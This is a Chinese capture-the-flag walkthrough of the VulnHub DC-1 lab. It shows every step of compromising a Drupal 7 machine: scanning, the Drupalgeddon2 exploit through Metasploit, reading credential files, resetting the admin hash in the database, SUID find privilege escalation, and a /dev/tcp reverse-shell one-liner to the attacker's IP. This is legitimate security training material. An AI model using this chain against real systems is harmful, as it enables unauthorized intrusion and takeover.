目录
前言
一. 环境搭建
1.准备工具
2.靶场准备
二. 渗透过程
1. 信息收集
探测目标IP地址
探测目标IP开放端口
网页信息收集
2. 漏洞查找与利用
2.1弱口令
2.2Drupalgeddon2
3. Getshell
3.1交互式shell
3.2flag1
3.3Linux信息收集
4. 数据库渗透
4.1flag2,数据库用户密码
4.2数据库信息收集
5. 用户密码爆破
5.1hash解密(失败)
5.2修改密码(成功),flag3
6. Linux提权
6.1find 指令提权
6.2find命令nc监听反弹shell
一个比较简单的实战靶场,官方要求是找到/root下的flag,所以直接提权即可。但对于学习和训练来说还是太简略了,在打靶场的时候还是全面一些较好。
本次靶场实战涉及信息收集、漏洞查找与利用、getshell、数据库渗透、密码破解、linux提权,并找到官方设计的5个flag。
虚拟机Kali:IP-192.168.111.129
DC-1靶场机:
官网下载 https://download.vulnhub.com/dc/DC-1.zip
更改网络适配器为NAT模式:
nmap探测nat网段存活主机:已知kali的IP为192.168.111.129,则得到靶机IP为192.168.111.136。
nmap -sP 192.168.111.0/24
使用nmap探测靶机开放端口:可以看到开放22、80、111端口,确定有http服务。
nmap -sS 192.168.111.136
在kali上访问一下靶机,发现CMS是Drupal版本7.
通过burp测试一下弱口令,爆不出来,而且需要认证,感觉好麻烦,试试cms相关漏洞。
Searchsploit查一下Drupal7相关漏洞:
(官方指南:Exploit Database SearchSploit Manual)
开启msf查找一下可以利用的漏洞:先选择Rank‘excellent’、Check‘Yes’和日期最新的利用,与searchsploit结果对比一下,发现可以选择no.1。
选择drupalgeddon2,设置好session,run执行:成功上线
python -c ‘import pty;pty.spawn(“/bin/bash”)’
Shell后先ls一下看看,发现一个flag1.txt:
cat查看一下,大概意思是提示所有cms需要配置文件,所以让我们去找drupal的配置文件。
先不急着找配置文件,既然已经进来了就收集一波信息。
1>DNS客户机配置文件(虽然对于这次靶场没啥用)
cat /etc/resolv.conf
2>系统用户配置文件
cat /etc/passwd
哦吼,发现了一个flag4,路径是/home/flag4,那就提前看一下flag4的内容好了:
翻译一下大概是说“用同样的方法找到存在root里的flag”,不明所以,不过应该要求我们提权(一会再搞)。
3>查存储的用户密码信息:没有权限
cat /etc/shadow
4>我是谁:
Whoami/who -a
5>查看进程信息:
发现了mysql进程,一会试试爆库。
ps aux
6>简单看一下刚进来时各个文件夹内都有什么文件:
简单过一遍linux信息后,回来根据提示去找drupal配置文件。
根据相关链接:
Step 3: Create settings.php and the files directory | Installing Drupal 7 | Drupal Wiki guide on Drupal.org
[译] Docker Workflow(二):存储问题 - 开发者头条
我们可以知道Drupal会在sites/default/files目录下写入各种文件,而default.settings.php为Drupal的样本配置文件,安装时需将其复制并命名为‘settings.php’,所以现在应该去找到这个文件。
首先进入sites/default/files,逛了一圈没有东西:
返回上级目录,发现了settings.php:
查看settings.php文件内容:嘿嘿,找到了flag2,同时还发现了数据库用户及密码。
使用刚刚得到的用户密码登录数据库:
查看表信息:发现一个users表
查看users表信息,发现用户密码:
(加密的密码试试破解)
先用kali自带的hash工具过一下密码(加盐了没用)
加了盐没办法,不过根据打过的红日3靶场可以试试其他方法,即新建新的用户密码或修改已有的密码。
网上搜一搜drupal修改密码,发现Drupal 7已不再采用Drupal 6和5时代的简单的MD5加密了而是采用了新型的Hash加密方法来确保密码安全。而加密脚本是password-hash.sh。
巧了,之前搜集信息时恰好在scripts目录下发现了该脚本。
当然也可以使用find找一下:
find / -name ‘hash’
通过该脚本新设置一个密码‘123456’:
scripts/password-hash.sh ‘123456’> test.txt
再次进入数据库更新一下admin的密码:
update users set pass=’you-password’ where uid=1;
使用admin 123456,登录Drupal:
Home里搜索一下,发现flag3:
首先找一下find路径:
which find
再检查一下find是否有suid权限:
ls -l /usr/bin/find
最后使用find命令执行一下‘whoami’发现是root权限:
touch getroot
find / -type f -name getroot -exec “whoami” \;
先在kali上开启nc监听:
nc -lvvnp 6666
Msf中执行构建好的find命令:
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.111.129/6666 0>&1 \;
成功shell上线:(root权限)
在/root中找到最终的flag: